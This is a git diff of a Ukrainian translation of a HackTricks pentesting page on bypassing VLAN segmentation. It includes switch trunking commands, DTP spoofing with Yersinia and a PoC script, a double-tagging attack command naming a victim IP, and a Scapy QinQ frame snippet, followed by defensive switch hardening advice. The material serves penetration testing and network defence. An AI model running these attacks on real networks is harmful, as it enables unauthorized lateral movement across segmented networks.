Translated ['src/generic-methodologies-and-resources/pentesting-network/

This commit is contained in:
Translator 2025-07-18 18:09:55 +00:00
parent e543cf99c4
commit d1d4ffe4f9

View File

@ -2,15 +2,15 @@
{{#include ../../banners/hacktricks-training.md}}
Якщо є прямий доступ до комутатора, сегментацію VLAN можна обійти. Це передбачає переналаштування підключеного порту в режим trunk, встановлення віртуальних інтерфейсів для цільових VLAN та налаштування IP-адрес, або динамічно (DHCP), або статично, залежно від сценарію (**для отримання додаткової інформації перегляньте [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)).**
Якщо є прямий доступ до комутатора, сегментацію VLAN можна обійти. Це передбачає переналаштування підключеного порту в режим trunk, створення віртуальних інтерфейсів для цільових VLAN та налаштування IP-адрес, або динамічно (DHCP), або статично, залежно від сценарію (**для отримання додаткової інформації перегляньте [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)).**
Спочатку необхідно ідентифікувати конкретний підключений порт. Це зазвичай можна зробити за допомогою повідомлень CDP або шляхом пошуку порту через маску **include**.
Спочатку необхідно ідентифікувати конкретний підключений порт. Це зазвичай можна зробити через повідомлення CDP або шляхом пошуку порту за допомогою маски **include**.
**Якщо CDP не працює, ідентифікацію порту можна спробувати здійснити, шукаючи MAC-адресу**:
```
SW1(config)# show mac address-table | include 0050.0000.0500
```
Перед переходом в режим trunk, слід скласти список існуючих VLAN та визначити їх ідентифікатори. Ці ідентифікатори потім призначаються інтерфейсу, що дозволяє отримувати доступ до різних VLAN через trunk. Порт, що використовується, наприклад, асоційований з VLAN 10.
Перед переходом в режим trunk слід скласти список існуючих VLAN та визначити їх ідентифікатори. Ці ідентифікатори потім призначаються інтерфейсу, що дозволяє отримати доступ до різних VLAN через trunk. Порт, що використовується, наприклад, асоційований з VLAN 10.
```
SW1# show vlan brief
```
@ -44,12 +44,80 @@ sudo dhclient -v eth0.60
```bash
sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0
```
З'єднання перевіряється шляхом ініціювання ICMP запитів до стандартних шлюзів для VLAN 10, 20, 50 та 60.
З'єднання тестується шляхом ініціювання ICMP запитів до стандартних шлюзів для VLAN 10, 20, 50 та 60.
Врешті-решт, цей процес дозволяє обійти сегментацію VLAN, що полегшує необмежений доступ до будь-якої VLAN мережі та готує ґрунт для подальших дій.
Врешті-решт, цей процес дозволяє обійти сегментацію VLAN, що полегшує необмежений доступ до будь-якої VLAN мережі та створює умови для подальших дій.
## References
---
## Інші техніки VLAN-Hopping (без привілейованого CLI комутатора)
Попередній метод передбачає автентифікований доступ до консолі або Telnet/SSH до комутатора. У реальних ситуаціях зловмисник зазвичай підключений до **звичайного порту доступу**. Наступні трюки рівня 2 часто дозволяють вам переміщатися вбік, не входячи в ОС комутатора:
### 1. Switch-Spoofing з Dynamic Trunking Protocol (DTP)
Комутатори Cisco, які мають увімкнений DTP, з радістю погоджуються на створення trunk, якщо партнер стверджує, що є комутатором. Створення одного **DTP “desirable”** або **“trunk”** кадру перетворює порт доступу на trunk 802.1Q, який несе *всі* дозволені VLAN.
*Yersinia* та кілька PoC автоматизують процес:
```bash
# Become a trunk using Yersinia (GUI)
$ sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking
# Python PoC (dtp-spoof)
$ git clone https://github.com/fleetcaptain/dtp-spoof.git
$ sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable
```
Як тільки порт переключається на trunk, ви можете створити підінтерфейси 802.1Q і здійснити поворот точно так, як показано в попередньому розділі. Сучасні ядра Linux більше не вимагають *vconfig*; натомість використовуйте *ip link*:
```bash
sudo modprobe 8021q
sudo ip link add link eth0 name eth0.30 type vlan id 30
sudo ip addr add 10.10.30.66/24 dev eth0.30
sudo ip link set eth0.30 up
```
### 2. Подвійне тегування (Зловживання Native-VLAN)
Якщо зловмисник знаходиться на **native (нетегованому) VLAN**, спеціально підготовлений кадр з *двома* заголовками 802.1Q може "перепригнути" на другий VLAN, навіть коли порт заблокований в режимі доступу. Інструменти, такі як **VLANPWN DoubleTagging.py** (оновлення 2022-2024), автоматизують ін'єкцію:
```bash
python3 DoubleTagging.py \
--interface eth0 \
--nativevlan 1 \
--targetvlan 20 \
--victim 10.10.20.24 \
--attacker 10.10.1.54
```
Проходження пакета:
1. Зовнішній тег (1) видаляється першим комутатором, оскільки він відповідає рідному VLAN.
2. Внутрішній тег (20) тепер відкритий; кадр пересилається на trunk до VLAN 20.
Ця техніка все ще працює у 2025 році на мережах, які залишають рідний VLAN за замовчуванням і приймають не теговані кадри.
### 3. QinQ (802.1ad) Стекування
Багато корпоративних ядер підтримують *Q-in-Q* інкапсуляцію постачальника послуг. Де це дозволено, зловмисник може тунелювати довільний трафік з тегом 802.1Q всередині постачальника (S-тег), щоб перетнути зони безпеки. Захопіть для 802.1ad ethertype 0x88a8 і спробуйте видалити зовнішній тег за допомогою Scapy:
```python
from scapy.all import *
outer = 100 # Service tag
inner = 30 # Customer / target VLAN
payload = Ether(dst="ff:ff:ff:ff:ff:ff")/Dot1Q(vlan=inner)/IP(dst="10.10.30.1")/ICMP()
frame = Dot1Q(type=0x88a8, vlan=outer)/payload
sendp(frame, iface="eth0")
```
---
## Рекомендації щодо захисту
1. Вимкніть DTP на всіх портах, що виходять до користувачів: `switchport mode access` + `switchport nonegotiate`.
2. Змініть рідний VLAN на кожному trunk на **невикористовуваний, чорний VLAN** і позначте його: `vlan dot1q tag native`.
3. Виріжте непотрібні VLAN на trunk: `switchport trunk allowed vlan 10,20`.
4. Застосуйте безпеку портів, DHCP snooping та динамічну перевірку ARP, щоб обмежити діяльність зловмисного рівня 2.
5. Віддавайте перевагу приватним VLAN або сегментації L3 замість того, щоб покладатися лише на розділення 802.1Q.
---
## Посилання
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
- VLANPWN attack toolkit <https://github.com/casterbytethrowback/VLANPWN>
- Twingate "Що таке VLAN Hopping?" (Серпень 2024) <https://www.twingate.com/blog/glossary/vlan%20hopping>
{{#include ../../banners/hacktricks-training.md}}